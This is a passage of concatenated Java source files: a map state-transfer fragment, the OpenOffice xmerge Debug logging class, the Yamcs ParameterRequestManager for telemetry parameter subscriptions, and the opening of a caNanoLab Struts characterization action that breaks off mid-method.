}
for(Iterator it=copy.keySet().iterator(); it.hasNext();) {
Integer key=(Integer)it.next();
if(state_id.equals("odd") && key.intValue() % 2 != 0)
it.remove();
else if(state_id.equals("even") && key.intValue() % 2 == 0)
it.remove();
}
ObjectOutputStream oos = null;
try {
oos=new ObjectOutputStream(os);
oos.writeObject(copy);
oos.flush();
}
catch (IOException e){}
finally{
try{
if(oos != null)
oos.close();
}
catch (IOException e){
System.err.println(e);
}
}
}
public void setState(String state_id, InputStream is){
setState(is);
}
public void setState(String state_id, byte[] state) {
setState(state);
}
public String toString() {
synchronized(data) {
Set keys=new TreeSet(data.keySet());
StringBuilder sb=new StringBuilder();
for(Iterator it=keys.iterator(); it.hasNext();) {
Object o=it.next();
sb.append(o).append("=").append(data.get(o)).append(" ");
}
return sb.toString();
}
}
}
}
|
package org.openoffice.xmerge.util;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.FileWriter;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.io.Writer;
import java.text.DateFormat;
import java.util.Date;
import java.util.Calendar;
import java.util.Properties;
/**
* This class is used for logging debug messages.
* Currently, there are three types of logging: {@link #INFO},
* {@link #TRACE} & {@link #ERROR}. Use the Debug.properties
* file to set or unset each type. Also use Debug.properties
* to set the writer to either <code>System.out</code>,
* <code>System.err</code>, or to a file.
*
* @author Herbie Ong
*/
public final class Debug {
/** Informational messages. */
public final static int INFO = 0x0001;
/** Error messages. */
public final static int ERROR = 0x0002;
/** Trace messages. */
public final static int TRACE = 0x0004;
/** To set a flag. */
public final static boolean SET = true;
/** To unset a flag. */
public final static boolean UNSET = false;
private static int flags = 0;
private static PrintWriter writer = null;
static {
try {
Class c = new Debug().getClass();
InputStream is = c.getResourceAsStream("Debug.properties");
Properties props = new Properties();
props.load(is);
String info = props.getProperty("debug.info", "false");
info = info.toLowerCase();
if (info.equals("true")) {
setFlags(Debug.INFO, Debug.SET);
}
String trace = props.getProperty("debug.trace", "false");
trace = trace.toLowerCase();
if (trace.equals("true")) {
setFlags(Debug.TRACE, Debug.SET);
}
String error = props.getProperty("debug.error", "false");
error = error.toLowerCase();
if (error.equals("true")) {
setFlags(Debug.ERROR, Debug.SET);
}
String w = props.getProperty("debug.output", "System.out");
setOutput(w);
} catch (Throwable ex) {
ex.printStackTrace(System.err);
}
}
/**
* Private constructor so as not to allow any instances
* of this class. This serves as a singleton class.
*/
private Debug() {
}
/**
* Set the output to the specified argument.
* This method is only used internally to prevent
* invalid string parameters.
*
* @param str Output specifier.
*/
private static void setOutput(String str) {
if (writer == null) {
if (str.equals("System.out")) {
setOutput(System.out);
} else if (str.equals("System.err")) {
setOutput(System.err);
} else {
try {
setOutput(new FileWriter(str));
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
/**
* Set the output to an <code>OutputStream</code> object.
*
* @param stream OutputStream object.
*/
private static void setOutput(OutputStream stream) {
setOutput(new OutputStreamWriter(stream));
}
/**
* Set the <code>Writer</code> object to manage the output.
*
* @param w <code>Writer</code> object to write out.
*/
private static void setOutput(Writer w) {
if (writer != null) {
writer.close();
}
writer = new PrintWriter(new BufferedWriter(w), true);
}
/**
* <p>
* This method sets the levels for debugging logs.
* Example calls:
* </p>
*
* <blockquote><pre><code>
* Debug.setFlags( Debug.INFO, Debug.SET )
* Debug.setFlags( Debug.TRACE, Debug.SET )
* Debug.setFlags( Debug.INFO | Debug.TRACE, Debug.SET )
* Debug.setFlags( Debug.ERROR, Debug.UNSET )
* </code></pre></blockquote>
*
* @param f Debug flag
* @param set Use Debug.SET to set, and Debug.UNSET to unset
* the given flag.
*/
private static void setFlags(int f, boolean set) {
if (set) {
flags |= f;
} else {
flags &= ~f;
}
}
/**
* Prints out information regarding platform.
*/
public static void logSystemInfo() {
if (writer != null) {
writer.println();
writer.println("Platform Information:");
writer.println("OS : " + System.getProperty("os.name"));
writer.println("Version : " + System.getProperty("os.version"));
writer.println("Platform : " + System.getProperty("os.arch"));
writer.println("JDK Version : " + System.getProperty("java.version"));
writer.println("JDK Vendor : " + System.getProperty("java.vendor"));
writer.println();
}
}
/**
* Prints out timestamp.
*/
public static void logTime() {
if (writer != null) {
Date time = Calendar.getInstance().getTime();
DateFormat dt = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
writer.println(dt.format(time));
}
}
/**
* Checks if flag is set.
*
* @return true if info logging is on, otherwise false
*/
public static boolean isFlagSet(int f) {
return ((flags & f) != 0);
}
/**
* <p>Log message based on the flag type.</p>
*
* <p>Example 1:</p>
*
* <blockquote><pre><code>
* Debug.log(Debug.INFO, "info string here");
* </code></pre></blockquote>
*
* <p>This logs the message during runtime if
* <code>debug.info</code> in the properties file is
* set to true.</p>
*
* <p>Example 2:</p>
*
* <blockquote><pre><code>
* Debug.log(Debug.INFO | Debug.TRACE, "info string here");
* </code></pre></blockquote>
*
* <p>This logs the message during runtime if debug.info or debug.trace
* in the properties file is set to true.</p>
*
* @param flag Log type, one of the Debug constants
* {@link #INFO}, {@link #TRACE}, {@link #ERROR}
* or a combination of which or'ed together.
* @param msg The message.
*/
public static void log(int flag, String msg) {
if (isFlagSet(flag)) {
if (writer != null) {
writer.println(msg);
}
}
}
/**
* Log message based on flag type plus print out stack trace
* of the exception passed in. Refer to the other log method
* for description.
*
* @param flag Log type, one of the Debug constants
* {@link #INFO}, {@link #TRACE}, {@link #ERROR}
* or a combination of which or'ed together.
* @param msg The message.
* @param e Throwable object.
*/
public static void log(int flag, String msg, Throwable e) {
if (isFlagSet(flag)) {
if (writer != null) {
writer.println(msg);
if (e != null)
e.printStackTrace(writer);
}
}
}
/**
* Converts the given bytes to a <code>String</code> of
* Hex digits.
*
* @param bytes <code>byte</code> array.
*
* @return Hex representation in a <code>String</code>.
*/
public static String byteArrayToHexString(byte bytes[]) {
StringBuffer buff = new StringBuffer();
for (int i = 0; i < bytes.length; i++) {
int ch = ((int) bytes[i] & 0xff);
String str = Integer.toHexString(ch);
if (str.length() < 2)
buff.append('0');
buff.append(str);
buff.append(' ');
}
return buff.toString();
}
}
|
package org.yamcs;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.concurrent.atomic.AtomicInteger;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.yamcs.algorithms.AlgorithmManager;
import org.yamcs.protobuf.Yamcs.NamedObjectId;
import org.yamcs.tctm.TmPacketProvider;
import org.yamcs.utils.YObjectLoader;
import org.yamcs.xtce.Parameter;
import org.yamcs.xtceproc.XtceTmProcessor;
/**
* @author mache
* Keeps track of which parameters are part of which subscriptions.
*
* There are two types of subscriptions:
* - subscribe all
* - subscribe to a set
* Both types have an unique id associated but different methods work with them
*
*/
public class ParameterRequestManager implements ParameterListener {
Logger log;
//Maps the parameters to the request(subscription id) in which they have been asked
private Map<Parameter,ArrayList<ParaSubscrRequestStruct>> param2RequestMap= new HashMap<Parameter,ArrayList<ParaSubscrRequestStruct>>();
//Maps the request (subscription id) to an object that is consuming the results who has requested it
private Map<Integer,ParameterConsumer> request2ParameterConsumerMap = new HashMap<Integer,ParameterConsumer>();
//contains the subscribeAll ids -> namespace mapping
private Map<Integer,String> subscribeAll =new HashMap<Integer,String>();
private XtceTmProcessor tmProcessor=null;
private DerivedValuesManager derivedValuesManager=null;
private Map<Class<?>,ParameterProvider> parameterProviders=new HashMap<Class<?>,ParameterProvider>();
private static AtomicInteger lastSubscriptionId= new AtomicInteger();
public final Channel channel;
TmPacketProvider tmPacketProvider;
/**
* Creates a new ParameterRequestManager, configured to listen to a newly
* created XtceTmProcessor.
*/
public ParameterRequestManager(Channel chan) throws ConfigurationException {
this(chan, new XtceTmProcessor(chan));
}
/**
* Creates a new ParameterRequestManager, configured to listen to the
* specified XtceTmProcessor.
*/
public ParameterRequestManager(Channel chan, XtceTmProcessor tmProcessor) throws ConfigurationException {
this.channel=chan;
this.tmProcessor=tmProcessor;
log=LoggerFactory.getLogger(this.getClass().getName()+"["+chan.getName()+"]");
tmProcessor.setParameterListener(this);
YConfiguration yconf=YConfiguration.getConfiguration("yamcs."+chan.getInstance());
if(yconf.containsKey("parameterProviders")) {
@SuppressWarnings("unchecked")
List<Map<String, String>> providers=yconf.getList("parameterProviders");
for(Map<String,String> provider:providers) {
String className=provider.get("class");
try {
ParameterProvider p=new YObjectLoader<ParameterProvider>().loadObject(className, this, chan);
addParameterProvider(p);
} catch (IOException e) {
throw new ConfigurationException("Cannot load parameter provider from class "+className, e);
}
}
} else {
log.debug("No parameter providers defined in yamcs."+chan.getInstance()+".yaml. Using defaults.");
// Load default parameter providers
addParameterProvider(new SystemVariablesManager(this, chan));
addParameterProvider(new AlgorithmManager(this, chan));
//derived values should be the last one because it can be based on tm and system variables
derivedValuesManager=new DerivedValuesManager(this, chan);
}
}
// TODO replace by configuration in yaml file? (what about ppProvider?)
public void addParameterProvider(ParameterProvider parameterProvider) {
if(parameterProviders.containsKey(parameterProvider.getClass())) {
log.warn("Ignoring duplicate parameter provider of type "+parameterProvider.getClass());
} else {
log.debug("Adding parameter provider: "+parameterProvider.getClass());
parameterProvider.setParameterListener(this);
parameterProviders.put(parameterProvider.getClass(), parameterProvider);
}
}
/** Added by AMI on request of NM during a remote email session. */
public int generateDummyRequestId() {
return lastSubscriptionId.incrementAndGet();
}
/**
* subscribes to all parameters
*/
public synchronized int subscribeAll(String namespace, ParameterConsumer consumer) {
int id=lastSubscriptionId.incrementAndGet();
log.debug("new subscribeAll with subscriptionId "+id);
if(subscribeAll.isEmpty()) {
tmProcessor.startProvidingAll();
if(derivedValuesManager!=null) derivedValuesManager.startProvidingAll();
for(ParameterProvider provider:parameterProviders.values()) {
provider.startProvidingAll();
}
}
subscribeAll.put(id, namespace);
request2ParameterConsumerMap.put(id, consumer);
return id;
}
/**
* removes the subscription to all parameters
* @param subscriptionId
* @return
*/
public synchronized boolean unsubscribeAll(int subscriptionId) {
return subscribeAll.remove(subscriptionId) != null;
}
public synchronized int addRequest(List<NamedObjectId> paraList, ParameterConsumer tpc) throws InvalidIdentification {
List<ParameterProvider> providers=getProviders(paraList);
int id=lastSubscriptionId.incrementAndGet();
log.debug("new request with subscriptionId "+id+" for itemList="+paraList);
for(int i=0;i<paraList.size();i++) {
log.trace("adding to subscriptionID:{} item:{} ",id, paraList.get(i));
addItemToRequest(id,paraList.get(i),providers.get(i));
//log.info("afterwards the subscription looks like: "+toString());
}
request2ParameterConsumerMap.put(id, tpc);
return id;
}
/**
* Create request with a given id. This is called when switching channels, the id is comming from the other channel.
* @param subscriptionID
* @param itemList
* @param tpc
* @return
* @throws InvalidIdentification
*/
public synchronized void addRequest(int id, List<NamedObjectId> paraList, ParameterConsumer tpc) throws InvalidIdentification {
List<ParameterProvider> providers=getProviders(paraList);
for(int i=0;i<paraList.size();i++) {
log.trace("adding to subscriptionID:{} item:{}",id, paraList.get(i));
addItemToRequest(id,paraList.get(i),providers.get(i));
//log.info("afterwards the subscription looks like: "+toString());
}
request2ParameterConsumerMap.put(id, tpc);
}
/**
* Add items to an request id.
* @param subscriptionID
* @param itemList
* @throws InvalidIdentification
*/
public synchronized void addItemsToRequest(int subscriptionId, List<NamedObjectId> paraList) throws InvalidIdentification, InvalidRequestIdentification {
if(!request2ParameterConsumerMap.containsKey(subscriptionId)) {
log.error(" addItemsToRequest called with an invalid subscriptionId="+subscriptionId+"\n current subscr:\n"+request2ParameterConsumerMap);
throw new InvalidRequestIdentification("no such subscriptionID",subscriptionId);
}
List<ParameterProvider> providers=getProviders(paraList);
for(int i=0;i<paraList.size();i++) {
addItemToRequest(subscriptionId, paraList.get(i), providers.get(i));
}
}
/**
* Adds a new item to an existing request. There is no check if the item is already there,
* so there can be duplicates (observed in the CGS CIS).
* This call also works with a new id
* @param id
* @param para
* @param provider
* @throws InvalidIdentification
*/
private void addItemToRequest(int id, NamedObjectId para, ParameterProvider provider) {
Parameter paramDef;
try {
paramDef = provider.getParameter(para);
} catch (InvalidIdentification e) {
log.error("Unexpected InvalidIdentification exception received for an item which was supposed to be provided by this provider: subscriptionId="+id+" item="+para);
return;
}
if(!param2RequestMap.containsKey(paramDef)) {
//this parameter is not requested by any other request
ArrayList<ParaSubscrRequestStruct>al_req=new ArrayList<ParaSubscrRequestStruct>();
param2RequestMap.put(paramDef,al_req);
provider.startProviding(paramDef);
}
param2RequestMap.get(paramDef).add(new ParaSubscrRequestStruct(id,para));
}
/**
* Removes an item from a request. All the instances of the item are removed.
* Any items specified that are not in the subscription will be ignored.
* @param subscriptionID
* @param paraList
* @throws InvalidIdentification
*/
public synchronized void removeItemsFromRequest(int subscriptionID, List<NamedObjectId> paraList) throws InvalidIdentification {
List<ParameterProvider> providers=getProviders(paraList);
for(int i=0;i<paraList.size();i++) {
removeItemFromRequest(subscriptionID,paraList.get(i),providers.get(i));
}
}
private void removeItemFromRequest(int subscriptionId, NamedObjectId para, ParameterProvider provider) {
Parameter paramDef;
try {
paramDef=provider.getParameter(para);
} catch (InvalidIdentification e) {
log.error("Unexpected InvalidIdentification exception received for an item which was supposed to be provided by some provider because getProviders didn't complain: subscriptionId="+subscriptionId+" itemId="+para);
return;
}
if(param2RequestMap.containsKey(paramDef)) { //is there really any request associated to this parameter?
ArrayList<ParaSubscrRequestStruct> al_req=param2RequestMap.get(paramDef);
boolean found=false;
Iterator<ParaSubscrRequestStruct> it1=al_req.iterator();
//remove the subscription from the list of this parameter
while(it1.hasNext()){
ParaSubscrRequestStruct s=it1.next();
if(s.subscriptionId==subscriptionId) {
it1.remove();
found=true;
}
}
if(found) {
if(al_req.isEmpty()) { //nobody wants this parameter anymore
provider.stopProviding(paramDef);
param2RequestMap.remove(paramDef);
}
} else {
log.warn("parameter removal requested for "+para+" but not part of subscription "+subscriptionId);
}
} else {
log.warn("parameter removal requested for "+para+" but not subscribed");
}
}
/**
* Removes all the items from this subscription and returns them into an
* ArrayList. The result is usually used in the TelemetryImpl to move this
* subscription to a different ParameterRequestManager
*/
public synchronized ArrayList<NamedObjectId> removeRequest(int subscriptionId) {
log.debug("removing request for subscriptionId "+subscriptionId);
//It's a bit annoying that we have to loop through all the parameters to find the ones that
// are relevant for this request. We could keep track of an aditional map.
ArrayList<NamedObjectId> result=new ArrayList<NamedObjectId>();
//loop through all the parameter definitions
// find all the subscriptions with the requested subscriptionId and add their corresponding
// itemId to the list.
for(Iterator<Parameter> it = param2RequestMap.keySet().iterator();it.hasNext();) {
Parameter paramDef=it.next();
ArrayList<ParaSubscrRequestStruct> al_req=param2RequestMap.get(paramDef);
NamedObjectId para=null;
Iterator<ParaSubscrRequestStruct> it1=al_req.iterator();
//remove the subscription from the list of this parameter (if present)
while(it1.hasNext()){
ParaSubscrRequestStruct s=it1.next();
if(s.subscriptionId==subscriptionId) {
result.add(s.para);
it1.remove();
para=s.para;
}
}
if(para!=null) {
if(al_req.isEmpty()) { //nobody wants this parameter anymore
it.remove();
getProvider(para).stopProviding(paramDef);
}
}
}
request2ParameterConsumerMap.remove(subscriptionId);
return result;
}
private List<ParameterProvider> getProviders(List<NamedObjectId> itemList) throws InvalidIdentification {
List<ParameterProvider> providers=new ArrayList<ParameterProvider>(itemList.size());
ArrayList<NamedObjectId> invalid=new ArrayList<NamedObjectId>();
for(int i=0;i<itemList.size();i++) {
providers.add(i, getProvider(itemList.get(i)));
if (providers.get(i)==null){
invalid.add(itemList.get(i));
}
}
if(invalid.size()!=0) {
log.info("throwing InvalidIdentification for the following items:"+invalid);
throw new InvalidIdentification(invalid);
}
return providers;
}
private ParameterProvider getProvider(NamedObjectId itemId) {
if(tmProcessor.canProvide(itemId)) return tmProcessor;
if ((derivedValuesManager!=null)&&(derivedValuesManager.canProvide(itemId))) return derivedValuesManager;
for(ParameterProvider provider:parameterProviders.values()) {
if(provider.canProvide(itemId)) {
return provider;
}
}
return null;
}
/**
* @param paraId
* @return the corresponding parameter definition for a IntemIdentification
* @throws InvalidIdentification in case no provider knows of this parameter. The InvalidIdentification is empty so it can't be passed via CORBA
*/
public Parameter getParameter(NamedObjectId paraId) throws InvalidIdentification {
if(tmProcessor.canProvide(paraId)) return tmProcessor.getParameter(paraId);
if ((derivedValuesManager!=null)&&(derivedValuesManager.canProvide(paraId))) return derivedValuesManager.getParameter(paraId);
for(ParameterProvider provider:parameterProviders.values()) {
if(provider.canProvide(paraId)) {
return provider.getParameter(paraId);
}
}
throw new InvalidIdentification(paraId);
}
/* (non-Javadoc)
* @see org.yamcs.ParameterRequestManagerInterface#updateItems(java.util.ArrayList, java.util.ArrayList)
*/
@Override
public synchronized void update(Collection<ParameterValue> params) {
log.trace("ParamRequestManager.updateItems with {} parameters", params.size());
//maps subscription id to a list of (value,id) to be delivered for that subscription
HashMap<Integer,ArrayList<ParameterValueWithId>> delivery= new HashMap<Integer,ArrayList<ParameterValueWithId>>();
//so first we add to the delivery the parameters just received
updateDelivery(delivery,params);
//then if the delivery updates some of the parameters required by the derived values
// compute the derived values
if(derivedValuesManager!=null) {
int derivedValueSubscriptionId=derivedValuesManager.getSubscriptionId();
if(delivery.containsKey(derivedValueSubscriptionId)) {
updateDelivery(delivery,derivedValuesManager.updateDerivedValues(delivery.get(derivedValueSubscriptionId)));
}
}
//and finally deliver the delivery :)
for(Map.Entry<Integer, ArrayList<ParameterValueWithId>> entry: delivery.entrySet()){
Integer subscriptionId=entry.getKey();
ArrayList<ParameterValueWithId> al=entry.getValue();
ParameterConsumer consumer=request2ParameterConsumerMap.get(subscriptionId);
if(consumer==null) {
log.error("subscriptionId "+subscriptionId+" appears in the delivery list, but there is no consumer for it");
} else {
consumer.updateItems(subscriptionId,al);
}
}
}
/**
* adds the passed parameters to the delivery
* @param delivery
* @param params
*/
private void updateDelivery(HashMap<Integer, ArrayList<ParameterValueWithId>> delivery, Collection<ParameterValue> params) {
for(Iterator<ParameterValue> it=params.iterator();it.hasNext();) {
ParameterValue pv=it.next();
Parameter pDef=pv.def;
//now walk through the requests and add this item to their delivery list
if(!param2RequestMap.containsKey(pDef)) continue; //it could be that the parameter has been removed but the provider has not yet removed it from its list
for(Iterator<ParaSubscrRequestStruct> it1=param2RequestMap.get(pDef).iterator(); it1.hasNext();){
ParaSubscrRequestStruct s=it1.next();
if(!delivery.containsKey(s.subscriptionId)){
delivery.put(s.subscriptionId, new ArrayList<ParameterValueWithId>());
}
ParameterValueWithId pvwi=new ParameterValueWithId();
pvwi.setId(s.para);
pvwi.setParameterValue(pv);
delivery.get(s.subscriptionId).add(pvwi);
}
}
//update the subscribeAll subscriptions
for(Map.Entry<Integer, String> entry:subscribeAll.entrySet()) {
int id=entry.getKey();
String namespace=entry.getValue();
if(!delivery.containsKey(id)){
delivery.put(id, new ArrayList<ParameterValueWithId>());
}
ArrayList<ParameterValueWithId> al=delivery.get(id);
for(ParameterValue pv: params) {
ParameterValueWithId pvwi=new ParameterValueWithId();
NamedObjectId.Builder noid=NamedObjectId.newBuilder();
String name=pv.def.getAlias(namespace);
if(name==null) {
noid.setName(pv.def.getName());
} else {
noid.setNamespace(namespace).setName(pv.def.getAlias(namespace));
}
pvwi.setId(noid.build());
pvwi.setParameterValue(pv);
al.add(pvwi);
}
}
}
public XtceTmProcessor getTmProcessor() {
return tmProcessor;
}
@SuppressWarnings("unchecked")
public <T extends ParameterProvider> T getParameterProvider(Class<T> type) {
return (T) parameterProviders.get(type);
}
/**
* Sets the telemetry packet provider by simply calling the corresponding method in the associated
* TmProcessor
* @param p
*/
public void setPacketProvider(TmPacketProvider p) {
this.tmPacketProvider=p;
tmPacketProvider.setTmProcessor(tmProcessor);
}
/**
* Starts processing by creating a new thread for the associated TmProcessor and SystemVariablesManager
*
*/
public void start() {
tmProcessor.start();
for(ParameterProvider provider:parameterProviders.values()) {
provider.start();
}
}
public void quit() {
for(ParameterProvider provider:parameterProviders.values()) {
provider.stop();
}
tmPacketProvider.stop();
}
@Override
public String toString() {
StringBuffer sb=new StringBuffer();
sb.append("Current Subscription list:\n");
for(Parameter param:param2RequestMap.keySet()) {
sb.append(param); sb.append("requested by [");
ArrayList<ParaSubscrRequestStruct> al_req=param2RequestMap.get(param);
for(Iterator<ParaSubscrRequestStruct> it1=al_req.iterator();it1.hasNext();) {
ParaSubscrRequestStruct iirs=it1.next();
sb.append("("+iirs.subscriptionId+",");
sb.append(iirs.para.toString()); sb.append(") ");
}
sb.append("]\n");
}
sb.append("TmProcessor subscription:"+tmProcessor);
return sb.toString();
}
public DerivedValuesManager getDerivedValuesManager() {
return derivedValuesManager;
}
}
/**
* Keeps pairs (ParameterId,subscriptionId). We need these pairs because each consumer wants
* to receive back parameters together with the original ParameterId he has used for subscription
* (for example one can subscribe to a parameter based on opsname and another can subscribe to the same parameter
* based on pathname).
* @author mache
*
*/
class ParaSubscrRequestStruct {
NamedObjectId para;
int subscriptionId;
public ParaSubscrRequestStruct(int id, NamedObjectId item) {
this.para=item;
subscriptionId=id;
}
@Override
public String toString() {
return "(subscriptionId="+subscriptionId+", item="+para.toString();
}
}
|
package gov.nih.nci.calab.ui.core;
import gov.nih.nci.calab.domain.nano.characterization.Characterization;
import gov.nih.nci.calab.domain.nano.characterization.DerivedBioAssayData;
import gov.nih.nci.calab.domain.nano.characterization.physical.Morphology;
import gov.nih.nci.calab.domain.nano.characterization.physical.Shape;
import gov.nih.nci.calab.domain.nano.characterization.physical.Solubility;
import gov.nih.nci.calab.domain.nano.characterization.physical.Surface;
import gov.nih.nci.calab.domain.nano.characterization.toxicity.Cytotoxicity;
import gov.nih.nci.calab.dto.characterization.CharacterizationBean;
import gov.nih.nci.calab.dto.characterization.DatumBean;
import gov.nih.nci.calab.dto.characterization.DerivedBioAssayDataBean;
import gov.nih.nci.calab.dto.characterization.invitro.CytotoxicityBean;
import gov.nih.nci.calab.dto.characterization.physical.MorphologyBean;
import gov.nih.nci.calab.dto.characterization.physical.ShapeBean;
import gov.nih.nci.calab.dto.characterization.physical.SolubilityBean;
import gov.nih.nci.calab.dto.characterization.physical.SurfaceBean;
import gov.nih.nci.calab.dto.common.LabFileBean;
import gov.nih.nci.calab.dto.common.UserBean;
import gov.nih.nci.calab.exception.CalabException;
import gov.nih.nci.calab.service.common.FileService;
import gov.nih.nci.calab.service.common.LookupService;
import gov.nih.nci.calab.service.search.SearchNanoparticleService;
import gov.nih.nci.calab.service.security.UserService;
import gov.nih.nci.calab.service.submit.SubmitNanoparticleService;
import gov.nih.nci.calab.service.util.CaNanoLabConstants;
import gov.nih.nci.calab.service.util.PropertyReader;
import gov.nih.nci.calab.service.util.StringUtils;
import java.io.File;
import java.io.FileInputStream;
import java.util.ArrayList;
import java.util.Date;
import java.util.Enumeration;
import java.util.List;
import java.util.SortedSet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.action.ActionMessage;
import org.apache.struts.action.ActionMessages;
import org.apache.struts.validator.DynaValidatorForm;
/**
* This action serves as the base action for all characterization related action
* classes. It includes common operations such as download, updateManufacturers.
*
* @author pansu
*/
/*
* CVS $Id: BaseCharacterizationAction.java,v 1.27 2007/05/15 13:33:05 chenhang
* Exp $
*/
public abstract class BaseCharacterizationAction extends AbstractDispatchAction {
protected CharacterizationBean prepareCreate(HttpServletRequest request,
DynaValidatorForm theForm) throws Exception {
HttpSession session = request.getSession();
CharacterizationBean charBean = (CharacterizationBean) theForm
.get("achar");
// retrieve file content
FileService fileService = new FileService();
for (DerivedBioAssayDataBean derivedDataFileBean : charBean
.getDerivedBioAssayDataList()) {
byte[] content = fileService.getFileContent(new Long(
derivedDataFileBean.getId()));
if (content != null) {
derivedDataFileBean.setFileContent(content);
}
}
// set createdBy and createdDate for the characterization
UserBean user = (UserBean) session.getAttribute("user");
Date date = new Date();
charBean.setCreatedBy(user.getLoginName());
charBean.setCreatedDate(date);
return charBean;
}
protected void postCreate(HttpServletRequest request,
DynaValidatorForm theForm) throws Exception {
String particleName = theForm.getString("particleName");
String particleType = theForm.getString("particleType");
request.getSession().setAttribute("newCharacterizationCreated", "true");
request.getSession().setAttribute("newCharacterizationSourceCreated",
"true");
request.getSession().setAttribute("newInstrumentCreated", "true");
request.getSession().setAttribute("newCharacterizationFileTypeCreated",
"true");
InitSessionSetup.getInstance().setSideParticleMenu(request,
particleName, particleType);
}
protected CharacterizationBean[] prepareCopy(HttpServletRequest request,
DynaValidatorForm theForm, SubmitNanoparticleService service)
throws Exception {
CharacterizationBean charBean = (CharacterizationBean) theForm
.get("achar");
String origParticleName = theForm.getString("particleName");
charBean.setParticleName(origParticleName);
String[] otherParticles = (String[]) theForm.get("otherParticles");
Boolean copyData = (Boolean) theForm.get("copyData");
CharacterizationBean[] charBeans = new CharacterizationBean[otherParticles.length];
int i = 0;
for (String particleName : otherParticles) {
CharacterizationBean newCharBean = charBean.copy(copyData
.booleanValue());
newCharBean.setParticleName(particleName);
// reset view title
String timeStamp = StringUtils.convertDateToString(new Date(),
"MMddyyHHmmssSSS");
String autoTitle = CaNanoLabConstants.AUTO_COPY_CHARACTERIZATION_VIEW_TITLE_PREFIX
+ timeStamp;
newCharBean.setViewTitle(autoTitle);
List<DerivedBioAssayDataBean> dataList = newCharBean
.getDerivedBioAssayDataList();
// replace particleName in path and uri with new particleName
for (DerivedBioAssayDataBean derivedBioAssayData : dataList) {
String origUri = derivedBioAssayData.getUri();
if (origUri != null)
derivedBioAssayData.setUri(origUri.replace(
origParticleName, particleName));
}
charBeans[i] = newCharBean;
i++;
}
return charBeans;
}
/**
* clear session data from the input form
*
* @param session
* @param theForm
* @param mapping
* @throws Exception
*/
protected void clearMap(HttpSession session, DynaValidatorForm theForm)
throws Exception {
// reset achar and otherParticles
theForm.set("otherParticles", new String[0]);
theForm.set("copyData", false);
theForm.set("achar", new CharacterizationBean());
theForm.set("morphology", new MorphologyBean());
theForm.set("shape", new ShapeBean());
theForm.set("surface", new SurfaceBean());
theForm.set("solubility", new SolubilityBean());
theForm.set("cytotoxicity", new CytotoxicityBean());
cleanSessionAttributes(session);
}
/**
* Prepopulate data for the input form
*
* @param request
* @param theForm
* @throws Exception
*/
protected void initSetup(HttpServletRequest request,
DynaValidatorForm theForm) throws Exception {
HttpSession session = request.getSession();
clearMap(session, theForm);
String submitType = (String) request.getParameter("submitType");
String particleName = theForm.getString("particleName");
String particleType = theForm.getString("particleType");
String particleSource = theForm.getString("particleSource");
String charName = request.getParameter("charName");
InitSessionSetup.getInstance().setApplicationOwner(session);
InitSessionSetup.getInstance().setSideParticleMenu(request,
particleName, particleType);
InitSessionSetup.getInstance().setAllInstruments(session);
InitSessionSetup.getInstance().setAllDerivedDataFileTypes(session);
InitSessionSetup.getInstance().setAllPhysicalDropdowns(session);
InitSessionSetup.getInstance().setAllInvitroDropdowns(session);
InitSessionSetup.getInstance().setAllCharacterizationMeasureUnitsTypes(
session, charName);
// TODO If there are more types of charactizations, add their
// corresponding
// protocol type here.
if (submitType.equalsIgnoreCase("physical"))
InitSessionSetup.getInstance().setAllProtocolNameVersionsByType(
session, "Physical assay");
else
InitSessionSetup.getInstance().setAllProtocolNameVersionsByType(
session, "In vitro assay");
// set up other particle names from the same source
LookupService service = new LookupService();
UserBean user = (UserBean) request.getSession().getAttribute("user");
SortedSet<String> allOtherParticleNames = service.getOtherParticles(
particleSource, particleName, user);
session.setAttribute("allOtherParticleNames", allOtherParticleNames);
InitSessionSetup.getInstance().setDerivedDataCategoriesDatumNames(
session, charName);
InitSessionSetup.getInstance().setAllCharacterizationDropdowns(session);
}
/**
* Clean the session attribture
*
* @param sessioin
* @throws Exception
*/
protected void cleanSessionAttributes(HttpSession session) throws Exception {
for (Enumeration e = session.getAttributeNames(); e.hasMoreElements();) {
String element = (String) e.nextElement();
if (element.startsWith(CaNanoLabConstants.CHARACTERIZATION_FILE)) {
session.removeAttribute(element);
}
}
}
/**
* Set up the input form for adding new characterization
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward setup(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
initSetup(request, theForm);
return mapping.getInputForward();
}
public ActionForward input(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
// update editable dropdowns
CharacterizationBean achar = (CharacterizationBean) theForm
.get("achar");
ShapeBean shape = (ShapeBean) theForm.get("shape");
MorphologyBean morphology = (MorphologyBean) theForm.get("morphology");
CytotoxicityBean cyto = (CytotoxicityBean) theForm.get("cytotoxicity");
SolubilityBean solubility = (SolubilityBean) theForm.get("solubility");
SurfaceBean surface = (SurfaceBean) theForm.get("surface");
HttpSession session = request.getSession();
updateAllCharEditables(session, achar);
updateShapeEditable(session, shape);
updateMorphologyEditable(session, morphology);
updateCytotoxicityEditable(session, cyto);
updateSolubilityEditable(session, solubility);
updateSurfaceEditable(session, surface);
return mapping.findForward("setup");
}
/**
* Set up the form for updating existing characterization
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward setupUpdate(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
DynaValidatorForm theForm = (DynaValidatorForm) form;
initSetup(request, theForm);
String characterizationId = request.getParameter("characterizationId");
SearchNanoparticleService service = new SearchNanoparticleService();
Characterization aChar = service
.getCharacterizationAndDerivedDataBy(characterizationId);
if (aChar == null) {
throw new Exception(
